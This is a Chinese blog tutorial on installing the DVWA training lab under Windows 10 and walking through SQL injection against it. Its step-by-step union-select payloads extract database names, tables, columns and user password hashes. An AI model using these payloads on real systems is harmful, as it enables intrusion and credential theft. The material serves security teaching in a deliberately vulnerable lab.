win10下搭建DVWA测试环境

 
 

一、DVWA介绍

DVWA全称为Damn Vulnerable Web Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。帮助web开发人员理解web应用保护的过程,还可以在课堂中为师生的安全性教学提供便利。

DVWA是一个RandomStorm开源项目,了解关于RandomStorm开源项目访问网址: http://www.randomstorm.com.

DVWA项目开始于2008年12月,并逐渐受到欢迎。 现在,全世界有成千上万的安全专业人员,学生和教师正在使用它。 

二、DVWA安装

DVWA是一个web应用,使用PHP语言开发,后端使用MySQL数据库。DVWA的运行需要安装一个web服务器,PHP开发环境,MySQL数据库。如果你现在没有配置好的web服务器,最简单的方法就是下载并安装XAMPP,也可以使用phpstudy安装。

2.1.安装phpstudy 

安装PHP集成环境,这里用的是phpstudy 下面是下载地址:https://www.xp.cn/,下载后一直点下一步。然后会有初始化的提示点击是。看的如下的窗口说明你安装成功了。这里启动Apache和MySQL服务即可

2.2.安装安装DVWA 

从github上面进行下载,地址 https://github.com/ethicalhack3r/DVWA,下载如下:

 

把下载好的DWVA的压缩包,放在D:\phpstudy_pro\WWW 中(因为我将phpStudy安装在D盘),然后解压DWVA的压缩包。

 接下来需要配置DVWA链接数据库,请打开config文件夹,打开config.inc.php。需要把db_password 修改成 root账户的密码 ,因为咱们刚安装好的集成环境默认的MYSQL 链接用户名和密码分别为 root 123456。修改后别忘了保存。

2.3.测试登陆DVWA 

浏览器访问 http://127.0.0.1/DVWA-master/setup.php,点击创建数据库。

 创建成功。会自动跳转到登录页面,如果未出现调整,直接访问 http://127.0.0.1/DVWA-master/login.php 需要输入用户名密码。默认用户名 admin 默认密码 password。

 登录成功后如下:

 

三、SQL注入

3.1.什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

3.2.SQL注入原理

就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.3. SQL注入分类

  1. 数字型
  2. 字符型
  3. 报错注入
  4. Boollean注入
  5. 时间注入

3.4. SQL注入思路

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 得到数据

3.5.SQL注入绕过方法

  1. 注释符号绕过
  2. 大小写绕过
  3. 内联注释绕过
  4. 特殊编码绕过
  5. 空格过滤绕过
  6. 过滤or and xor not 绕过

3.6.SQL注入的原因

SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中),数据库未做相应的安全配置

3.7.SQL注入案例

3.7.1.判断注入类型

输入数字1,正常显示但无法区分注入点类型

 输入 数字 2,结果显示正常

再输入1+1,无返回结果,因为如果是数字型注入id=1+1,则会显示id为2的信息,字符型就会搜索id=’1+1’的数据。因为这个注入点没有返回数据2的内容,所以为字符型注入漏洞。

输入1’ and 1=1提示错误,输入1’ and 1=1#显示正常说明存在单引号,在注入时需要闭合或者注释掉单引号(在语句后面加#)。

3.7.2.查询个数

使用order by排序语句,来测试,这个表中有几个字段,分别输入依次测试:

1'order by 1#
1'order by 2#
1'order by 3#

当尝试使用第三列排序的时候出现了,其他的正确,则表示这个表中存在两个字段,如下:

3.7.3.查询数据库名

结合联合查询去对网站进行注入从而获取信息,可以使用两种方式1’ union ....或者-1’ union ....。两者都可以使用,只不过后者的查询结果更简介一些不会去输出id=1的信息。输入如下内容:

-1' union select 1, database()#

执行后如下图,在surname哪里显示了库名 dvwa:

3.7.4.查询数据表名

输入如下SQL,查询表的名字:

-1' union select 1,table_name from information_schema.tables where table_schema="dvwa" # 
或者
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

我这里执行的时候靶场报错了,Illegal mix of collations for operation ‘UNION‘,解决方式如下:

alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci

alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci

alter table users modify user varchar(15) character set utf8 collate utf8_general_ci

再次执行如下结果有两个表guestbook和users

3.7.5.查询数据列名

输入SQL如下:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

在surname哪里列出了表中的字段名,共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

3.7.6.查询详细信息

得知字段名后就可以获取数据信息了:

-1' union select user,password from users #

查询结果如下图:

 

posted @ 2020-12-01 15:52  酒剑仙*  阅读(883)  评论(0)    收藏  举报